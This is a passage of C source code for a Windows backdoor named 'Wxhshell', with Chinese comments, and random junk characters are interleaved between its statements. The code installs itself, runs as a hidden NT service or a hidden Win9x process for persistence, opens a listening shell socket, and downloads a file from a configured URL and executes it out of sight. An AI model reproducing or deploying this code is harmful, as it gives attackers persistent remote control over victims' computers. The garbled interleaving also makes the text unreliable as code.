)2.Si# M-71 1|eGI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #] QZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yAt^; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +whDU2 " q1,~ if (!NtQueryInformationProcess) return 0; py4 h(04u A&VG~r$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KPF1cJ2N if(!hProcess) return 0; SU0
hma8 xpt:BBo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sc0w.5m6 (HVGlw'` CloseHandle(hProcess); X8|, C _Dn{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :>
'+"M2r if(hProcess==NULL) return 0; ;I}fBZ3
$i&zex{\ HMODULE hMod; uFE)17E char procName[255]; CZ;6@{ o unsigned long cbNeeded; Y7|EIAU5Y w{KavU5W if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hka2 L,\Iasv CloseHandle(hProcess); \hXDO_U KoT\pY^7\ if(strstr(procName,"services")) return 1; // 以服务启动 {FkF ^W^OfY return 0; // 注册表启动 @dKTx#gZ } 7I}uZ/N 'DR!9De // 主模块 eFgA 8kY) int StartWxhshell(LPSTR lpCmdLine) 7dWS { ax`o>_) SOCKET wsl; wMn
i BOOL val=TRUE; Tk}]Gev int port=0; j%kncGS struct sockaddr_in door; HN"Z]/5j M]^5 s;y if(wscfg.ws_autoins) Install(); F8=+j_UGI By|4m port=atoi(lpCmdLine); .Mbz3;i0 ?< +WG/(d if(port<=0) port=wscfg.ws_port; @{Q4^'K" *@5 @,=d WSADATA data; 7#XzrT] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qGo.WZ$ IxU/?Zm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0B2t"(& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :;}P*T*PU door.sin_family = AF_INET; %J(:ADu] door.sin_addr.s_addr = inet_addr("127.0.0.1"); W\3X=@|u) door.sin_port = htons(port); Y<OFsWYY nlP;nl W if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T)/eeZ$ closesocket(wsl); 0J9x9j`&j return 1; lA]8&+,ZM } jcOcWB| 1}x%%RD_ if(listen(wsl,2) == INVALID_SOCKET) { HJ"GnZp< closesocket(wsl); uRvP hkqm return 1; +(Ae4{z"1+ } /v{I Wxhshell(wsl); )nkY_'BV WSACleanup(); L *wYx| y(#e}z: return 0; Et$2Y-L. D*jM1w_` } t.<i:#rj>l 9[4xFE?| // 以NT服务方式启动 y[;>#j$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VA%J\T|G2\ { yWK)vju" DWORD status = 0; A.SvA Yn DWORD specificError = 0xfffffff; ?,z}%p $Sq:q0 serviceStatus.dwServiceType = SERVICE_WIN32; )lkjqFQ( serviceStatus.dwCurrentState = SERVICE_START_PENDING; `Di{}/2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oketwa serviceStatus.dwWin32ExitCode = 0; J.a]K[ci serviceStatus.dwServiceSpecificExitCode = 0; x2xRBkRg= serviceStatus.dwCheckPoint = 0; V3Bz
Mw\9r serviceStatus.dwWaitHint = 0; [agMfn ,tFg4k[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YK_7ip.a[ if (hServiceStatusHandle==0) return; )~>YH*g L(-4w+ status = GetLastError(); 00(\ZUj if (status!=NO_ERROR) /ZX}Nc g { 6ujWNf serviceStatus.dwCurrentState = SERVICE_STOPPED; m67V_s,7B serviceStatus.dwCheckPoint = 0; 10&8-p1/mc serviceStatus.dwWaitHint = 0; 4W75T2q# serviceStatus.dwWin32ExitCode = status; 2?C)& serviceStatus.dwServiceSpecificExitCode = specificError; wYea\^co SetServiceStatus(hServiceStatusHandle, &serviceStatus); LVyyO3e return; b%+Xy8a }
a?1Wq $4\j]RE! serviceStatus.dwCurrentState = SERVICE_RUNNING; *. t^MP serviceStatus.dwCheckPoint = 0; NEs:},)o serviceStatus.dwWaitHint = 0; l1I#QB@5n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WJi]t9 3 } +A+)=/i; UKGPtKE< // 处理NT服务事件,比如:启动、停止 K/$KI7P VOID WINAPI NTServiceHandler(DWORD fdwControl) y_)FA"IkE { Ry&6p>- switch(fdwControl) Wwo0%<2y { e-;}366} case SERVICE_CONTROL_STOP: R2NZ{"h
serviceStatus.dwWin32ExitCode = 0; 6Wn1{v0 serviceStatus.dwCurrentState = SERVICE_STOPPED; 4+n\k serviceStatus.dwCheckPoint = 0; ;uW FHc5@B serviceStatus.dwWaitHint = 0; ?dTD\)%A { }p
V:M{Nu& SetServiceStatus(hServiceStatusHandle, &serviceStatus); /r 5eWR1G } y =@N|f! return; ZSw.U:ep$s case SERVICE_CONTROL_PAUSE: 6)J#OKZ serviceStatus.dwCurrentState = SERVICE_PAUSED; st*gs-8jJ; break; /Oono6j case SERVICE_CONTROL_CONTINUE: Ri'n serviceStatus.dwCurrentState = SERVICE_RUNNING; ]~-r}`] break; XppOU case SERVICE_CONTROL_INTERROGATE: ZCw]m#lS break; NK+o1 }; KvSG; SetServiceStatus(hServiceStatusHandle, &serviceStatus); ooGM$U } Gj*9~*xm( %O<BfIZ // 标准应用程序主函数 x-c"%Z| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bt *k.=p { =1!
'QUc _F{C\} // 获取操作系统版本 ~&O%N OsIsNt=GetOsVer(); reVgqYp{{- GetModuleFileName(NULL,ExeFile,MAX_PATH); PF2nLb2- G$PE}%X // 从命令行安装 k)u[0} if(strpbrk(lpCmdLine,"iI")) Install(); =Qq+4F)MD IV-{ve6 // 下载执行文件 6@f-Glwg if(wscfg.ws_downexe) { & kIFcd@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :&Nbw WinExec(wscfg.ws_filenam,SW_HIDE); p_ =z# } AW .F3hN) 0:+E-^X if(!OsIsNt) { E^PB)D(. // 如果时win9x,隐藏进程并且设置为注册表启动 i4Jc.8^9$ HideProc(); oU|c.mYe StartWxhshell(lpCmdLine); 8t`?#8D} } 0x7'^Z>-oe else $kgVa^ if(StartFromService()) e!`i3KYn" // 以服务方式启动 l6B@qYLZ StartServiceCtrlDispatcher(DispatchTable); 3$w65= else ^aQ"E9 // 普通方式启动 g}i61( StartWxhshell(lpCmdLine); V)^+?B)T +p^u^a return 0; .hiSw }
|